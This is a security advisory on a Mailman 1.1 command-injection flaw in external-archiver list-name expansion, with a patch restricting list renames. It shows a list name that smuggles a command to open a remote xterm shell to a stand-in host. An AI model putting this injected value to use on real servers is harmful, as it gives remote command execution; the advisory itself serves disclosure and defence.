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Vulnerability Mailman Affected Mailman 1.1 and prior with external archiving enabled Description Christopher P. Lindsey found following. Mailman from www.list.org is a mailing list manager with strong Web functionality. If a site is running Mailman 1.1 with an external archiving mechanism that uses the internal variable %(listname)s, list administrators can run any command with the Webserver's uid/gid. This bug was reported to the developers in late November, 1999, and was fixed in the CVS source tree. Newer beta versions of Mailman are not susceptible, yet it has recently come to attention that the vulnerable 1.1 package is still available as a stable, non-beta release on the Mailman site(s). Mailman has a mechanism that allows messages sent to a mailing list to be pumped into some sort of external program. Traditionally this involves some sort of Web-based archiver like MHonArc or hypermail. To make the archiving more powerful, macros can be used based on internal Mailman values. For example, list archives can be saved on a per list basis with this line in $prefix/Mailman/mm_cfg.py: PUBLIC_EXTERNAL_ARCHIVER = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)' The problem comes from the %(listname)s expansion. Since it's derived from a value that can be set on a per list basis by the list administrator, it's subject to tampering. Consider a list who's name was changed to /usr/X11R6/bin/xterm -display myhost.example.com:0 -e /bin/csh by a list administrator. As soon as a message is sent to the list this command will be executed, opening a remote xterm with a shell running with the Web server's uid/gid. Any command available to the Web server can be executed in this fashion. Other variable names can be accessed if your PUBLIC_EXTERNAL_ARCHIVER definition is configured to use them. The patch below will only fix problems with %(listname)s expansion. Solution Upgrade to a later version of Mailman, or install the supplied patch. This patch was provided my the Mailman developers and later cleaned up to work against a stock 1.1 distribution. It works by only allowing listowners to change case values within the name of their list. Obviously a better long-term solution that sanitizes system calls, etc. should be considered. *** admin.py.bak Mon Mar 13 21:03:53 2000 --- admin.py Mon Mar 13 21:04:51 2000 *************** *** 784,789 **** --- 784,800 ---- val = cgi_info[property].value value = GetValidValue(lst, property, kind, val, deps) if getattr(lst, property) != value: + # TBD: Ensure that lst.real_name differs only in letter + # case. Otherwise a security hole can potentially be opened + # when using an external archiver. This seems ad-hoc and + # could use a more general security policy. + if property == 'real_name' and \ + string.lower(value) <> string.lower(lst._internal_name): + # then don't install this value. + document.AddItem("""<p><b>real_name</b> attribute not + changed! It must differ from the list's name by case + only.<p>""") + continue setattr(lst, property, value) dirty = 1 # For FreeBSD: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/mailman-2.0b5.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/mailman-2.0b5.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/mail/mailman-2.0b5.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/mailman-2.0b5.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/mail/mailman-2.0b5.tgz